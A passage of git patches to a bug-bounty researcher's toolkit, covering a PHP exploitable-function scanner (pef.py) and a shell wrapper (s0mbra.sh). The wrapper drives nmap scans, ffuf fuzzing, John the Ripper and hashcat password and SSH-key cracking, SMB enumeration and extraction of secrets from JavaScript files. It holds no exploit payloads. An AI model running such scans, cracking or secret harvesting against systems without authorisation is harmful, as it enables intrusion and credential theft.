self.level, self.source_or_sink) - number_of_isses = number_of_isses + 1 if res is not None else number_of_isses - return number_of_isses + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + return (meets_criteria, total_number_of_isses) - def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL', verbose=False): + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): """ prints formatted code line """ @@ -228,7 +228,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou "critical": "red" } - found = 0 + meets_criteria = 0 # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): @@ -249,12 +249,12 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou beautyConsole.getColor("grey"))) if self.verbose: print(f"\t{doc[1]}\n\t{doc[0]}\n") - found += 1 + meets_criteria += 1 if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - return found + return meets_criteria def main(self, src): """ @@ -271,8 +271,8 @@ def main(self, src): if self.level: if not self.is_comment(line): for fn in exploitableFunctions: - number_of_issues = self.analyse_line(l, i, fn, f, line) - if number_of_issues > 0: + (meets_criteria, number_of_issues) = self.analyse_line(l, i, fn, f, line) + if number_of_issues is not None: res = True file_found += number_of_issues return (res, file_found) # return how many findings in current file @@ -291,16 +291,14 @@ def run(self): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue - prev_filename = "" for f in files: extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 (res, file_found) = self.main(os.path.join(root, f)) - if self.phpfunction == '' and res is not None and f != prev_filename: + if file_found > 0: print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") - prev_filename = f - total_found += file_found + total_found += file_found else: self.scanned_files = self.scanned_files + 1 (res, total_found) = self.main(self.filename) @@ -318,7 +316,7 @@ def print_summary(self, total_found: int) -> None: """ prints summary at the bottom of search results """ - print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") + print(f"{beautyConsole.getColor('white')}Issues found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") @@ -338,7 +336,8 @@ def print_summary(self, total_found: int) -> None: parser.add_argument( "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( - "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") + "-l", "--level", + help="severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL\nif -f is set, this setting is ignored") parser.add_argument( "-S", "--sources", help="show only sources", action="store_true") parser.add_argument( @@ -357,6 +356,10 @@ def print_summary(self, total_found: int) -> None: args = parser.parse_args() level = args.level.upper() if args.level else 'MEDIUM,HIGH,CRITICAL' + + # if we are looking for a specific function, level is not taken into account + if args.function is not None: + level = 'ALL' source_or_sink = 'ALL' if args.sources: From 7732955239e7103a803011a90c60046e2673a8c9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 11:51:07 +0100 Subject: [PATCH 325/369] [s0mbra] LinkFinder by Gerben_Javado added --- s0mbra.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 924c6e3..a1acd0a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -746,6 +746,13 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# extract links and API endpoints from JavaScript file +links() { + echo -e "$BLUE[s0mbra] Extracting links and API endpoints from $1...$CLR" + python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i $1 -o cli + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + ### menu cmd=$1 @@ -876,6 +883,9 @@ case "$cmd" in rubysast) ruby_sast "$2" ;; + links) + links "$2" + ;; *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" @@ -905,7 +915,7 @@ case "$cmd" in echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN links $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From eb80f832f21ed709a842298c2a4c9e2a1f083306 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 12:12:44 +0100 Subject: [PATCH 326/369] [s0mbra] added SecretFinder --- s0mbra.sh | 34 +++++++++++++++++++++++++++------- 1 file changed, 27 insertions(+), 7 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a1acd0a..bf38b10 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -742,14 +742,27 @@ b64() { # hash/encode string hshr() { echo -e "$BLUE[s0mbra] Hash/encoode $1...$CLR" - hasher $1 + hasher "$1" echo -e "$BLUE\n[s0mbra] Done! $CLR" } # extract links and API endpoints from JavaScript file -links() { - echo -e "$BLUE[s0mbra] Extracting links and API endpoints from $1...$CLR" - python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i $1 -o cli +urls() { + echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" + python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg http | sort -u + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +endpoints() { + echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" + python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg -v http | sort -u + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# extract secrets from JavaScript file +secrets() { + echo -e "$BLUE[s0mbra] Extracting secrets from $1...$CLR" + python /Users/bl4de/hacking/tools/SecretFinder/SecretFinder.py -i "$1" -o cli | sort -u echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -883,8 +896,14 @@ case "$cmd" in rubysast) ruby_sast "$2" ;; - links) - links "$2" + urls) + urls "$2" + ;; + endpoints) + endpoints "$2" + ;; + secrets) + secrets "$2" ;; *) clear @@ -915,7 +934,8 @@ case "$cmd" in echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN links $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From f48eb0ca891290398f73d4ef266f83d15c431574 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 12:38:33 +0100 Subject: [PATCH 327/369] [s0mbra] cleanup; remove broken tools; update menu; --- s0mbra.sh | 69 +++++++++++++++---------------------------------------- 1 file changed, 18 insertions(+), 51 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bf38b10..fc39a73 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -50,7 +50,7 @@ quick_nmap_scan() { } # runs Python 3 built-in HTTP server on [PORT] -http() { +http_server() { STACK=$2 echo -e "$BLUE[s0mbra] Running $STACK HTTP Server in current directory on port $1$CLR" echo -e "$GRAY\navailable network interfaces:$YELLOW" @@ -78,37 +78,37 @@ http() { # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" - echo > "$HACKING_HOME"/tools/jtr/run/john.pot + echo > "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" + "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" + "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi - cat "$HACKING_HOME"/tools/jtr/run/john.pot + cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot echo -e "\n$BLUE[s0mbra] Done." osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' } -# show JTR's pot file +# show JohnTheRipper's pot file john_pot() { echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" - cat "$HACKING_HOME"/tools/jtr/run/john.pot + cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt rockyou_zip() { echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." - "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt + "$HACKING_HOME"/tools/JohnTheRipper/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt echo -e "\n$BLUE[s0mbra] Done." } -# converts id_rsa to JTR format for cracking SSH key +# converts id_rsa to JohnTheRipper format for cracking SSH key ssh_to_john() { - echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JTR format to crack it$CLR" - python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash + echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JohnTheRipper format to crack it$CLR" + python "$HACKING_HOME"/tools/JohnTheRipper/run/sshng2john.py "$1" > "$1".hash echo -e "$BLUE[s0mbra] We have a hash.\n" echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash @@ -245,20 +245,6 @@ scope() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# OSINT -photon() { - URL=$1 - OUTPUT_DIR=$2 - TMPDIR=$(pwd)/photon/$OUTPUT_DIR - if [[ ! -d $TMPDIR ]]; then - mkdir -p $TMPDIR - fi - echo -e "$BLUE[s0mbra] Let's do some OSINT stuff around $URL...$CLR\n" - /usr/local/homebrew/bin/python3 /Users/bl4de/hacking/tools/Photon/photon.py -u "$URL" -l 5 -t 10 -o "$TMPDIR" - ls -lRA "$TMPDIR" - echo -e "\n$BLUE[s0mbra] Done.$CLR" -} - # quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 @@ -381,19 +367,6 @@ recon() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# runs GET parameter(s) discovery -_arjun() { - clear - if [[ -z $2 ]]; then - SELECTED_DICT=/Users/bl4de/hacking/dictionaries/urlparams_medium.txt - else - SELECTED_DICT="$2" - fi - echo -e "$BLUE[s0mbra] Trying to discover GET params on $1 using $SELECTED_DICT...$GRAY" - arjun -u "$1" -w $SELECTED_DICT - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - fu() { # use starter.txt as default dictionary if [[ -z $2 ]]; then @@ -779,12 +752,6 @@ case "$cmd" in peek) peek "$2" ;; - photon) - photon "$2" "$3" - ;; - arjun) - _arjun "$2" "$3" - ;; recon) recon "$2" "$3" "$4" ;; @@ -800,8 +767,8 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; - http) - http "$2" "$3" + http_server) + http_server "$2" "$3" ;; rockyou_john) rockyou_john "$2" "$3" @@ -909,26 +876,26 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN photon $GRAY[HOST] [OUTPUT_DIR]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL\t\t$CYAN arjun $GRAY[HOST] [DICT]$CLR" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" - echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN http_server $GRAY[PORT] [STACK]$CLR\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" - echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN john_pot$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN ssh_to_john $GRAY[ID_RSA]\t\t$LIGHTGREEN(JohnTheRipper)$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]\t\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN john_pot\t\t\t$LIGHTGREEN(JohnTheRipper)$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" From 6f2bd813c03a9b6050de6abecdc3231bb70b855f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 25 Jul 2024 01:05:24 +0100 Subject: [PATCH 328/369] [pef] Fix duplicates if function name was a part of another function name --- pef/pef.py | 26 ++++++++++++++------------ s0mbra.sh | 8 ++++---- 2 files changed, 18 insertions(+), 16 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 94c0c43..a38fcbe 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -201,20 +201,22 @@ def analyse_line(self, l, i, fn, f, line): """ total_number_of_isses = None meets_criteria = 0 - # there has to be space before function call; prevents from false-positives strings contains PHP function names + tokens = [token for token in line.split(' ') if token is not '\n'] + + # check agains @ at the beginning of the function name atfn = f"@{fn}" fn = f"{fn}" - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - if fn == "`": - total_number_of_isses = self.print_code_line( - f.name, l, i, fn, self.severity, self.level, self.source_or_sink) - else: - total_number_of_isses = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, - self.source_or_sink) - meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + + for token in tokens: + if token.startswith(fn) or token.startswith(atfn): + if fn == "`": + total_number_of_isses = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) + else: + total_number_of_isses = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria return (meets_criteria, total_number_of_isses) def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): diff --git a/s0mbra.sh b/s0mbra.sh index fc39a73..11b9a8c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -32,7 +32,7 @@ full_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" - osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "Full nmap finished, choom!" with title "s0mbra says:"' } # runs --top-ports $2 against IP @@ -46,7 +46,7 @@ quick_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" - osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "Quick nmap finished, choom!" with title "s0mbra says:"' } # runs Python 3 built-in HTTP server on [PORT] @@ -285,7 +285,7 @@ peek() { echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choomba, peek finished!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? @@ -402,7 +402,7 @@ fu() { ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" - osascript -e 'display notification "ffuf finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "ffuf finished, choom!" with title "s0mbra says:"' } api_fuzz() { From e60d034ea7a9c771b28de5b109a03f7c24020cf4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 25 Jul 2024 22:16:29 +0100 Subject: [PATCH 329/369] [pef] fix condition --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index a38fcbe..df18390 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -201,7 +201,7 @@ def analyse_line(self, l, i, fn, f, line): """ total_number_of_isses = None meets_criteria = 0 - tokens = [token for token in line.split(' ') if token is not '\n'] + tokens = [token for token in line.split(' ') if token != "\n"] # check agains @ at the beginning of the function name atfn = f"@{fn}" From 6d7d6fa5205981ffb340cc73d6dacf73e566f6ea Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 31 Jul 2024 08:20:32 +0100 Subject: [PATCH 330/369] [s0mbra] remove redundant scope recon --- s0mbra.sh | 43 +------------------------------------------ 1 file changed, 1 insertion(+), 42 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 11b9a8c..e4f15d2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -208,43 +208,6 @@ nfs_enum() { echo -e "\n$BLUE[s0mbra] Done." } -# quick subdomain enum + available HTTP server(s) - to find out if a program is -# actually worth to look into :D -scope() { - TMPDIR=$(pwd) - START_TIME=$(date) - echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" - - # sublister - echo -e "\n$GREEN--> sublister$CLR\n" - for domain in $(cat scope); do - sublister -v -d $domain -o "$TMPDIR/sublister_$domain.log" - done - - # subfinder - echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/subfinder.log - - # prepare list of uniqe subdomains - cat sub* > step1 - sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > subdomains_final.log - rm -f step* - - # httpx - echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -rl 20 -exclude-cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log - - END_TIME=$(date) - echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" - echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/httpx.log - echo -e "\n$BLUE[s0mbra] Done.$CLR" -} - # quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 @@ -746,9 +709,6 @@ case "$cmd" in set_ip) set_ip "$2" ;; - scope) - scope "$2" - ;; peek) peek "$2" ;; @@ -875,8 +835,7 @@ case "$cmd" in *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From 4b60093bf8b40b4bc232be162a552b3888d895e5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 4 Aug 2024 12:39:14 +0100 Subject: [PATCH 331/369] [s0mbra] Show only 200 OK in httpx output log --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index e4f15d2..d9689de 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,7 +234,7 @@ peek() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" From ee5cc1a548143d9d656afaaad217cd81cdd35e09 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 4 Aug 2024 13:39:18 +0100 Subject: [PATCH 332/369] [s0mbra] webservers to enumerate existing subdomains file to find 200 OK --- s0mbra.sh | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index d9689de..a915a8a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -251,6 +251,26 @@ peek() { osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' } + +# httpx only list +webservers() { + START_TIME=$(date) + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l subdomains_final.log -o httpx.log + + # cleanup + echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -rf httpx* + + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "\n$BLUE[s0mbra] Done.$CLR" + osascript -e 'display notification "Hey choom, we have some webservers to hack!" with title "s0mbra says:"' +} + # does recon on URL: nmap, ffuf, other smaller tools, ...? # pass ONLY hostname (without protocol prefix) recon() { @@ -712,6 +732,9 @@ case "$cmd" in peek) peek "$2" ;; + webservers) + webservers + ;; recon) recon "$2" "$3" "$4" ;; @@ -836,6 +859,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN webservers $GRAY(uses subdomains_final.log in cwd)$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From ec984bd137d62267789f049990259d6d275795c0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 5 Aug 2024 02:08:12 +0100 Subject: [PATCH 333/369] [s0mbra] webservers to enumerate existing subdomains file to find 200 OK --- s0mbra.sh | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a915a8a..f9bfaec 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -254,19 +254,20 @@ peek() { # httpx only list webservers() { + if [[ -z $1 ]]; then + SUBDOMAINS="subdomains_final.log" + elif [[ -n $1 ]]; then + SUBDOMAINS="$1" + fi START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l subdomains_final.log -o httpx.log - - # cleanup - echo 